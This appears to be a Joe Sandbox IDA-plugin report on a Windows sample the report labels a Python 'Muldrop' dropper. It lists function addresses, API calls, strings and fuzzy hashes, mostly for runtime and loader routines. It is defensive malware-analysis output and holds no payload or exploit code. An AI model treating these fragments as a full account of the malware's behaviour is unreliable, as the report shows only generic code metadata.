Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 8f64e276412905fb556d0cf6e5ae689124ad209186916bebc7020e596f8a9cd9
Instruction ID: d5bcbb880f9053a1fd17ccb45c51d50fac8e436428034ee5912daf74a12eb0cb
Opcode Fuzzy Hash: 8f64e276412905fb556d0cf6e5ae689124ad209186916bebc7020e596f8a9cd9
Instruction Fuzzy Hash: D4111958E0820F42FB687329745A579A342CF67368EF48734EB3D452DADDACB8018625

Function 00007FF7B1106A94 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1106AD0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1106BFA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1106CB0

Strings

verbose, xrefs: 00007FF7B1106AA4

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 1c0dd48f447bd5919c4c0af8999980ceaa421a823445f2473d5a297136b7fe44
Instruction ID: e0b93580a5207de1f888e66c4309c9a80b8c2142710a683fff3858e39b9eb9ed
Opcode Fuzzy Hash: 1c0dd48f447bd5919c4c0af8999980ceaa421a823445f2473d5a297136b7fe44
Instruction Fuzzy Hash: 2091C522E08A4E81E720AE29E45837DB790EB66B5CFE44135DB8D473C9DEBCE445C320

Function 00007FF7B1110B88 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1110E67

Part of subcall function 00007FF7B1116FA4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1116FC1

Strings

ccs, xrefs: 00007FF7B1110DA2
UTF-16LEUNICODE, xrefs: 00007FF7B1110E05
UTF-8, xrefs: 00007FF7B1110DE6

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: d575cc9c9c6fff3bb6b887c91fcc14de71c27d2c4b886d2e4095e12dd43ef316
Instruction ID: b3d25d7332575b5bdf29934f01a4446e3c8fd03c7341bbe1ee36c1e21865b7c4
Opcode Fuzzy Hash: d575cc9c9c6fff3bb6b887c91fcc14de71c27d2c4b886d2e4095e12dd43ef316
Instruction Fuzzy Hash: B681C635D0820A85FB646F1DA15227CF6A8AB33B4CFD74031CB0D9769DDAADF5218721

Function 00007FF7B10FCD70 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7B10FCD9B
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7B10FCE32
RtlUnwindEx.KERNEL32 ref: 00007FF7B10FCE8C

Strings

csm, xrefs: 00007FF7B10FCE19

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 9937fcd42addf426bdc80adcc1b9a62f0535f05a99127480d1a1977f785d18a7
Instruction ID: 7d5529c6e0d2cc9411fa3495316e893971aa6a7ef6b1477eb5cca3128afbd7ba
Opcode Fuzzy Hash: 9937fcd42addf426bdc80adcc1b9a62f0535f05a99127480d1a1977f785d18a7
Instruction Fuzzy Hash: 4A51B032A196028ADB14EF19E586A3CA791EB65B8CF858131EB4D4378CDFBCE845C710

Function 00007FF7B10FF5F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7B10FF64F
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7B10FF69B

Strings

MOC, xrefs: 00007FF7B10FF663
RCC, xrefs: 00007FF7B10FF66B

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: e4646d365215256e67ec22a9df473d11678327abea87c6de7235dddbff79b36e
Instruction ID: 7ecdee88e30bd90edaae6cdabe63325c28458c945aabb9600368f7b1b716c72e
Opcode Fuzzy Hash: e4646d365215256e67ec22a9df473d11678327abea87c6de7235dddbff79b36e
Instruction Fuzzy Hash: C6618333908BC581D7609B19E4813AAF7A0FBA6B98F444225EB9C53B59CFBCD191CB10

Function 00007FF7B10FF9A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7B10FF9C8
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7B10FFAB0

Strings

csm, xrefs: 00007FF7B10FF9EA
csm, xrefs: 00007FF7B10FFB02

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 723dedddd72afc6468d282760165df683ca6c1680e5e3aacb3d58d0999c557cb
Instruction ID: dd981827b9e1467a569c2025a812086018e45c678bf5b39bb8baeaefac9c150d
Opcode Fuzzy Hash: 723dedddd72afc6468d282760165df683ca6c1680e5e3aacb3d58d0999c557cb
Instruction Fuzzy Hash: 2A51C43390824686EB64AF199086268B790FBA6B8CF944135DB8C47BDDCFBCE854C710

Function 00007FF7B10F2870 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B10F8BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7B10F2A9B), ref: 00007FF7B10F8C0A

MessageBoxW.USER32 ref: 00007FF7B10F297B
MessageBoxA.USER32 ref: 00007FF7B10F2997

Strings

Fatal error detected, xrefs: 00007FF7B10F2951, 00007FF7B10F2989
%s%s: %s, xrefs: 00007FF7B10F28F6

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 1878133881-2410924014
Opcode ID: 88149bfc2a28579845b544d32f14f9b1101eddfde92b8430b51e14ba55e9a319
Instruction ID: 4ad632826b433992ec58cb73cc5a008d732bcb472dc55e755a6746d88febd390
Opcode Fuzzy Hash: 88149bfc2a28579845b544d32f14f9b1101eddfde92b8430b51e14ba55e9a319
Instruction Fuzzy Hash: D231617262868681E720EB14F4916DAE364FF95B88FC04036E78D47A9DDF7CD605CB50

Function 00007FF7B10F3EB0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7B10F39CA), ref: 00007FF7B10F3EE1

Part of subcall function 00007FF7B10F29C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7B10F88E2,?,?,?,?,?,?,?,?,?,?,?,00007FF7B10F101D), ref: 00007FF7B10F29F4
Part of subcall function 00007FF7B10F29C0: MessageBoxW.USER32 ref: 00007FF7B10F2AD0

Strings

Failed to convert executable path to UTF-8., xrefs: 00007FF7B10F3F1A
Failed to get executable path., xrefs: 00007FF7B10F3EEB
GetModuleFileNameW, xrefs: 00007FF7B10F3EF2

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: a0f4ac4870535fdd3da745cd16929a0880a6c5442cdd0bc39b12d524b6311160
Instruction ID: dce7dd1568ff17bc687f7b07ef8b35a4957087429372f0a6b304b2797560665a
Opcode Fuzzy Hash: a0f4ac4870535fdd3da745cd16929a0880a6c5442cdd0bc39b12d524b6311160
Instruction Fuzzy Hash: AB011251B1D64784FB60B718E4963B5D351AF6A7C8FC10431DA4D8629EEE9CE215C620

Function 00007FF7B110D140 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7B110D1BF
WriteFile.KERNEL32 ref: 00007FF7B110D487
WriteFile.KERNEL32 ref: 00007FF7B110D4CD
GetLastError.KERNEL32 ref: 00007FF7B110D583

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0a0d81bfe4120ef9cba8412760d98f6ac5c5ee8295e8d3c135a36233c03d6874
Instruction ID: f5941ae5bc44774b4a537be55753450097c92f399b5480db914d635055d14729
Opcode Fuzzy Hash: 0a0d81bfe4120ef9cba8412760d98f6ac5c5ee8295e8d3c135a36233c03d6874
Instruction Fuzzy Hash: 53D10E72F08A8589EB10DF69E4442ACB7B5EB2679CB944235CF4DD7B89DE78D406C310

Function 00007FF7B1105E34 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF7B1105E67
GetFileInformationByHandle.KERNEL32 ref: 00007FF7B1105EC9
GetLastError.KERNEL32 ref: 00007FF7B1105F5A
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,?,00007FF7B1105D6C), ref: 00007FF7B1105FA6

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: c83329a2bd18a21367976a5c4af3d00e11dcc87eb128c326a6acb0b8d0e7847d
Instruction ID: e2423e65366464eced4db86ad83e28aa75bedf55f581b19cc54c1b063289bedb
Opcode Fuzzy Hash: c83329a2bd18a21367976a5c4af3d00e11dcc87eb128c326a6acb0b8d0e7847d
Instruction Fuzzy Hash: E9517D22E046458AFB50EF69E4443BDB3A1EB6AB5CFA04139DB0D46689DFBCD4418721

Function 00007FF7B10F2310 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7B10F2344
SetWindowLongPtrW.USER32 ref: 00007FF7B10F2366
GetWindowLongPtrW.USER32 ref: 00007FF7B10F2390
InvalidateRect.USER32 ref: 00007FF7B10F23B0

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: b05b5568a63e2e2d0baaa3588e58b47743bee96d0fa3dc0d735729d29a60f88b
Instruction ID: 0023772962e75975d6a6ad446ed24b2e7f597928afb234dd3ef8c866ffa1a545
Opcode Fuzzy Hash: b05b5568a63e2e2d0baaa3588e58b47743bee96d0fa3dc0d735729d29a60f88b
Instruction Fuzzy Hash: F0112961A1C14242F744AB6EF5853BDD351EFA6B84FC98030EB4806B9DCDBCD5C14210

Function 00007FF7B111686C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B11123B0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7B11123E3

_get_daylight.LIBCMT ref: 00007FF7B1116984
_get_daylight.LIBCMT ref: 00007FF7B1116995

Strings

?, xrefs: 00007FF7B1116915

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: f7308ed130ebcec51d7c207d98fe8ad99d28455c8954ade1b0b7718248787264
Instruction ID: 2b5a1b5e534ef5501de0d7ce3aae900a66add7fbdb9d20e3e4d401811230c0cb
Opcode Fuzzy Hash: f7308ed130ebcec51d7c207d98fe8ad99d28455c8954ade1b0b7718248787264
Instruction Fuzzy Hash: 7B413A12A0838E46F760AB29B4013BAD751EBA27ACF914235EF5C06ADDEEFDD451C710

Function 00007FF7B1109B84 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1109BB6

Part of subcall function 00007FF7B110B4EC: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF7B1113972,?,?,?,00007FF7B11139AF,?,?,00000000,00007FF7B1113E75,?,?,00000000,00007FF7B1113DA7), ref: 00007FF7B110B502
Part of subcall function 00007FF7B110B4EC: GetLastError.KERNEL32(?,?,?,00007FF7B1113972,?,?,?,00007FF7B11139AF,?,?,00000000,00007FF7B1113E75,?,?,00000000,00007FF7B1113DA7), ref: 00007FF7B110B50C

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7B10FC125), ref: 00007FF7B1109BD4

Strings

C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, xrefs: 00007FF7B1109BC2

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLanguagesLastModuleNamePreferredRestoreThread_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
API String ID: 2553983749-2061591972
Opcode ID: e02605a42b068f6eccedcb3010d95b522989991cdee656cc9b719bfc68919b09
Instruction ID: 16294694b15b5211dfde6b961f113b65f26557b9842c1492e5796eb6c2b8e8b0
Opcode Fuzzy Hash: e02605a42b068f6eccedcb3010d95b522989991cdee656cc9b719bfc68919b09
Instruction Fuzzy Hash: D041C336E08B4A85EB14FF29B4940B8A395EF567D8BA54035EB0E43B4DDEBCD4818320

Function 00007FF7B110D7D8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7B110D8EF
GetLastError.KERNEL32 ref: 00007FF7B110D911

Strings

U, xrefs: 00007FF7B110D89B

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 1c4d8f885a23e91b6f023f5bba01b3d5456b675b65fc2396528dfcf9b2bee20e
Instruction ID: 1267abbeb22d34578140706e89224bcee9dfad3d948cc879710998fe45632c49
Opcode Fuzzy Hash: 1c4d8f885a23e91b6f023f5bba01b3d5456b675b65fc2396528dfcf9b2bee20e
Instruction Fuzzy Hash: A741D222A18A4981DB20AF29F8443A9B761FBA9788F914135EF4DC778CEF7CD541C750

Function 00007FF7B110FEF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF7B110FF38
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7B110FF8A

Strings

:, xrefs: 00007FF7B110FF4E

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: c814f4e6a73fca8fb0e34a5fa34791fb923e44da2351119a4fd3a89c16c72e66
Instruction ID: 360914d15e2a1ce6765cc70c5ff4610b51b8ba25de5fcbf15d44f5e875ee9542
Opcode Fuzzy Hash: c814f4e6a73fca8fb0e34a5fa34791fb923e44da2351119a4fd3a89c16c72e66
Instruction Fuzzy Hash: 1121EE23E0864A82EB20AB19E44966DF3B1FB96B4CFD18035D74D43289DFBCD545C7A1

Function 00007FF7B10F2B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B10F8BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7B10F2A9B), ref: 00007FF7B10F8C0A

MessageBoxW.USER32 ref: 00007FF7B10F2BE5
MessageBoxA.USER32 ref: 00007FF7B10F2C01

Strings

Fatal error detected, xrefs: 00007FF7B10F2BBB, 00007FF7B10F2BF3

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: b6f7d9423fd809a91d1653bcdf9902987ab7b8a697f00e322c081d77e498ae58
Instruction ID: e19756eafa73aa0b9cccd69f3eabd86b6dbc94a9955b3dd9b859ea21f9dc805c
Opcode Fuzzy Hash: b6f7d9423fd809a91d1653bcdf9902987ab7b8a697f00e322c081d77e498ae58
Instruction Fuzzy Hash: DC21B47262868681EB20EB19F4916EAE364FFA5788FC00135E74D47A5DDF7CD215CB10

Function 00007FF7B10F2C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B10F8BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7B10F2A9B), ref: 00007FF7B10F8C0A

MessageBoxW.USER32 ref: 00007FF7B10F2D05
MessageBoxA.USER32 ref: 00007FF7B10F2D21

Strings

Error detected, xrefs: 00007FF7B10F2CDB, 00007FF7B10F2D13

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
